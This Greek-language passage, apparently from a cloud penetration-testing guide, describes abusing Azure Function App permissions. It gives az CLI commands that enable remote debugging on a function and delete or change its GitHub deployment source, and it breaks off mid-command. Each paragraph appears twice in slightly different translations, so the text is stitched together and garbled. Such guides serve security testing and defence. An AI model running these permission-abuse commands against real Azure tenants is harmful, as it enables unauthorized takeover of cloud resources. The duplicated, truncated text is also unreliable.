```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Έχοντας την άδεια `Microsoft.Web/sites/config/write`, είναι επίσης δυνατό να θέσετε μια λειτουργία σε λειτουργία αποσφαλμάτωσης (η παρακάτω εντολή απαιτεί επίσης τις άδειες `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` και `Microsoft.Web/sites/Read`).
Έχοντας την άδεια `Microsoft.Web/sites/config/write`, είναι επίσης δυνατό να βάλετε μια Function σε debugging mode (η παρακάτω εντολή απαιτεί επίσης τις άδειες `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` και `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Αλλαγή αποθετηρίου Github
### Αλλαγή Github repo
Προσπάθησα να αλλάξω το αποθετήριο Github από το οποίο πραγματοποιείται η ανάπτυξη εκτελώντας τις παρακάτω εντολές, αλλά ακόμα και αν άλλαξε, **ο νέος κώδικας δεν φορτώθηκε** (πιθανώς επειδή περιμένει την ενημέρωση του κώδικα από την ενέργεια Github).\
Επιπλέον, η **διαπιστευτήρια ομοσπονδίας διαχειριζόμενης ταυτότητας δεν ενημερώθηκαν** επιτρέποντας το νέο αποθετήριο, οπότε φαίνεται ότι αυτό δεν είναι πολύ χρήσιμο.
Προσπάθησα να αλλάξω το Github repo από όπου γίνεται το deploying εκτελώντας τις παρακάτω εντολές αλλά ακόμα κι αν άλλαξε, **ο νέος κώδικας δεν φορτώθηκε** (πιθανόν επειδή περιμένει το Github Action να ενημερώσει τον κώδικα).\
Επιπλέον, το **managed identity federated credential δεν ενημερώθηκε** ώστε να επιτρέψει το νέο repository, οπότε φαίνεται πως αυτό δεν είναι πολύ χρήσιμο.
```bash
# Remove current
az functionapp deployment source delete \